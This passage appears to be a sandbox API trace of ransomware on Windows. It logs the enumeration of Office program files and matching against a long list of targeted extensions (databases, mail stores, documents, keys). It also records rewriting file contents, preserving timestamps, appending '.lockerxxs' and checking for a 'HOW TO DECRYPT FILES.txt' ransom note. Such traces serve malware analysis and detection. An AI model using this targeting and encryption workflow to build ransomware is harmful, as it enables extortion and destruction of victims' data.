[0065.805] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.806] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.806] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.806] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="JFONT.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0065.806] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT", pszSpec="*.ems") returned 0 [0065.806] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0065.806] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" [0065.806] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT." [0065.806] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.lockerxxs" [0065.806] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0065.807] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x499c [0065.807] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb7e2cf00, dwHighDateTime=0x1c21319), lpLastAccessTime=0x407536*(dwLowDateTime=0x66220ff0, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb7e2cf00, dwHighDateTime=0x1c21319)) returned 1 [0065.807] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.807] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x4976, lpOverlapped=0x0) returned 1 [0065.813] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="JFONT.DAT" [0065.813] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.814] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4976, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4976, lpOverlapped=0x0) returned 1 [0065.814] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.814] CloseHandle (hObject=0x88) returned 1 [0065.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.lockerxxs")) returned 1 [0065.818] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0065.818] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.818] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LATIN1.SHP") returned -1 [0065.818] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LATIN1.SHP") returned -1 [0065.818] lstrcmpiA (lpString1="", lpString2="LATIN1.SHP") returned -1 [0065.818] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT") returned="JFONT.DAT" [0065.818] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.818] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.818] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.818] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.818] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LATIN1.SHP" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP") returned="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" [0065.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.ems") returned 0 [0065.818] lstrlenA (lpString="*.ems") returned 5 [0065.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.db") returned 0 [0065.818] lstrlenA (lpString="*.db") returned 4 [0065.818] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.dbf") returned 0 [0065.818] lstrlenA (lpString="*.dbf") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.myox") returned 0 [0065.819] lstrlenA (lpString="*.myox") returned 6 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.myo") returned 0 [0065.819] lstrlenA (lpString="*.myo") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbw") returned 0 [0065.819] lstrlenA (lpString="*.qbw") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbb") returned 0 [0065.819] lstrlenA (lpString="*.qbb") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbm") returned 0 [0065.819] lstrlenA (lpString="*.qbm") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbo") returned 0 [0065.819] lstrlenA (lpString="*.qbo") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbx") returned 0 [0065.819] lstrlenA (lpString="*.qbx") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qba") returned 0 [0065.819] lstrlenA (lpString="*.qba") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qby") returned 0 [0065.819] lstrlenA (lpString="*.qby") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qbj") returned 0 [0065.819] lstrlenA (lpString="*.qbj") returned 5 [0065.819] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.ofx") returned 0 [0065.819] lstrlenA (lpString="*.ofx") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.qif") returned 0 [0065.820] lstrlenA (lpString="*.qif") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mye") returned 0 [0065.820] lstrlenA (lpString="*.mye") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mbox") returned 0 [0065.820] lstrlenA (lpString="*.mbox") returned 6 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.eml") returned 0 [0065.820] lstrlenA (lpString="*.eml") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.pst") returned 0 [0065.820] lstrlenA (lpString="*.pst") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.ost") returned 0 [0065.820] lstrlenA (lpString="*.ost") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.idx") returned 0 [0065.820] lstrlenA (lpString="*.idx") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.dbx") returned 0 [0065.820] lstrlenA (lpString="*.dbx") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.sql") returned 0 [0065.820] lstrlenA (lpString="*.sql") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mdb") returned 0 [0065.820] lstrlenA (lpString="*.mdb") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.fdb") returned 0 [0065.820] lstrlenA (lpString="*.fdb") returned 5 [0065.820] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.wab") returned 0 [0065.820] lstrlenA (lpString="*.wab") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.dat") returned 0 [0065.821] lstrlenA (lpString="*.dat") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.txt") returned 0 [0065.821] lstrlenA (lpString="*.txt") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.jpeg") returned 0 [0065.821] lstrlenA (lpString="*.jpeg") returned 6 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.jpg") returned 0 [0065.821] lstrlenA (lpString="*.jpg") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.png") returned 0 [0065.821] lstrlenA (lpString="*.png") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.php") returned 0 [0065.821] lstrlenA (lpString="*.php") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.cs") returned 0 [0065.821] lstrlenA (lpString="*.cs") returned 4 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.cpp") returned 0 [0065.821] lstrlenA (lpString="*.cpp") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.rar") returned 0 [0065.821] lstrlenA (lpString="*.rar") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.zip") returned 0 [0065.821] lstrlenA (lpString="*.zip") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.html") returned 0 [0065.821] lstrlenA (lpString="*.html") returned 6 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.htm") returned 0 [0065.821] lstrlenA (lpString="*.htm") returned 5 [0065.821] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.xlsx") returned 0 [0065.822] lstrlenA (lpString="*.xlsx") returned 6 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.xls") returned 0 [0065.822] lstrlenA (lpString="*.xls") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mp4") returned 0 [0065.822] lstrlenA (lpString="*.mp4") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.ppt") returned 0 [0065.822] lstrlenA (lpString="*.ppt") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.pptx") returned 0 [0065.822] lstrlenA (lpString="*.pptx") returned 6 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.doc") returned 0 [0065.822] lstrlenA (lpString="*.doc") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.dot") returned 0 [0065.822] lstrlenA (lpString="*.dot") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.docx") returned 0 [0065.822] lstrlenA (lpString="*.docx") returned 6 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.7z") returned 0 [0065.822] lstrlenA (lpString="*.7z") returned 4 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.tar") returned 0 [0065.822] lstrlenA (lpString="*.tar") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.bz2") returned 0 [0065.822] lstrlenA (lpString="*.bz2") returned 5 [0065.822] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.gz") returned 0 [0065.822] lstrlenA (lpString="*.gz") returned 4 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mkv") returned 0 [0065.823] lstrlenA (lpString="*.mkv") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.eml") returned 0 [0065.823] lstrlenA (lpString="*.eml") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.msg") returned 0 [0065.823] lstrlenA (lpString="*.msg") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.edb") returned 0 [0065.823] lstrlenA (lpString="*.edb") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.accdb") returned 0 [0065.823] lstrlenA (lpString="*.accdb") returned 7 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.odb") returned 0 [0065.823] lstrlenA (lpString="*.odb") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.java") returned 0 [0065.823] lstrlenA (lpString="*.java") returned 6 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.asm") returned 0 [0065.823] lstrlenA (lpString="*.asm") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.pfx") returned 0 [0065.823] lstrlenA (lpString="*.pfx") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.pem") returned 0 [0065.823] lstrlenA (lpString="*.pem") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.p12") returned 0 [0065.823] lstrlenA (lpString="*.p12") returned 5 [0065.823] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.gpg") returned 0 [0065.823] lstrlenA (lpString="*.gpg") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.vsd") returned 0 [0065.824] lstrlenA (lpString="*.vsd") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.odg") returned 0 [0065.824] lstrlenA (lpString="*.odg") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.raw") returned 0 [0065.824] lstrlenA (lpString="*.raw") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.nef") returned 0 [0065.824] lstrlenA (lpString="*.nef") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.svg") returned 0 [0065.824] lstrlenA (lpString="*.svg") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.psd") returned 0 [0065.824] lstrlenA (lpString="*.psd") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.vmx") returned 0 [0065.824] lstrlenA (lpString="*.vmx") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.vmdk") returned 0 [0065.824] lstrlenA (lpString="*.vmdk") returned 6 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.vdi") returned 0 [0065.824] lstrlenA (lpString="*.vdi") returned 5 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.lay6") returned 0 [0065.824] lstrlenA (lpString="*.lay6") returned 6 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mpeg") returned 0 [0065.824] lstrlenA (lpString="*.mpeg") returned 6 [0065.824] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.djvu") returned 0 [0065.824] lstrlenA (lpString="*.djvu") returned 6 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.tiff") returned 0 [0065.825] lstrlenA (lpString="*.tiff") returned 6 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.backup") returned 0 [0065.825] lstrlenA (lpString="*.backup") returned 8 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.pdf") returned 0 [0065.825] lstrlenA (lpString="*.pdf") returned 5 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.cert") returned 0 [0065.825] lstrlenA (lpString="*.cert") returned 6 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.docm") returned 0 [0065.825] lstrlenA (lpString="*.docm") returned 6 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.xlsm") returned 0 [0065.825] lstrlenA (lpString="*.xlsm") returned 6 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.dwg") returned 0 [0065.825] lstrlenA (lpString="*.dwg") returned 5 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.nd") returned 0 [0065.825] lstrlenA (lpString="*.nd") returned 4 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.tlg") returned 0 [0065.825] lstrlenA (lpString="*.tlg") returned 5 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.lgb") returned 0 [0065.825] lstrlenA (lpString="*.lgb") returned 5 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mov") returned 0 [0065.825] lstrlenA (lpString="*.mov") returned 5 [0065.825] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.xdw") returned 0 [0065.825] lstrlenA (lpString="*.xdw") returned 5 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.ods") returned 0 [0065.826] lstrlenA (lpString="*.ods") returned 5 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.wav") returned 0 [0065.826] lstrlenA (lpString="*.wav") returned 5 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.mp3") returned 0 [0065.826] lstrlenA (lpString="*.mp3") returned 5 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.aiff") returned 0 [0065.826] lstrlenA (lpString="*.aiff") returned 6 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.flac") returned 0 [0065.826] lstrlenA (lpString="*.flac") returned 6 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.m4a") returned 0 [0065.826] lstrlenA (lpString="*.m4a") returned 5 [0065.826] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP", pszSpec="*.csv") returned 0 [0065.826] lstrlenA (lpString="*.csv") returned 5 [0065.826] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0065.826] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0065.826] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LGND.DLL") returned -1 [0065.826] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LGND.DLL") returned -1 [0065.826] lstrcmpiA (lpString1="", lpString2="LGND.DLL") returned -1 [0065.826] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP") returned="LATIN1.SHP" [0065.826] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0065.826] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\") returned="" [0065.826] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" [0065.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\how to decrypt files.txt")) returned 0x20 [0065.827] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\", lpString2="LGND.DLL" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL") returned="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL" [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.ems") returned 0 [0065.827] lstrlenA (lpString="*.ems") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.db") returned 0 [0065.827] lstrlenA (lpString="*.db") returned 4 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.dbf") returned 0 [0065.827] lstrlenA (lpString="*.dbf") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.myox") returned 0 [0065.827] lstrlenA (lpString="*.myox") returned 6 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.myo") returned 0 [0065.827] lstrlenA (lpString="*.myo") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qbw") returned 0 [0065.827] lstrlenA (lpString="*.qbw") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qbb") returned 0 [0065.827] lstrlenA (lpString="*.qbb") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\LGND.DLL", pszSpec="*.qbm") returned 0 [0065.827] lstrlenA (lpString="*.qbm") returned 5 [0065.827] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 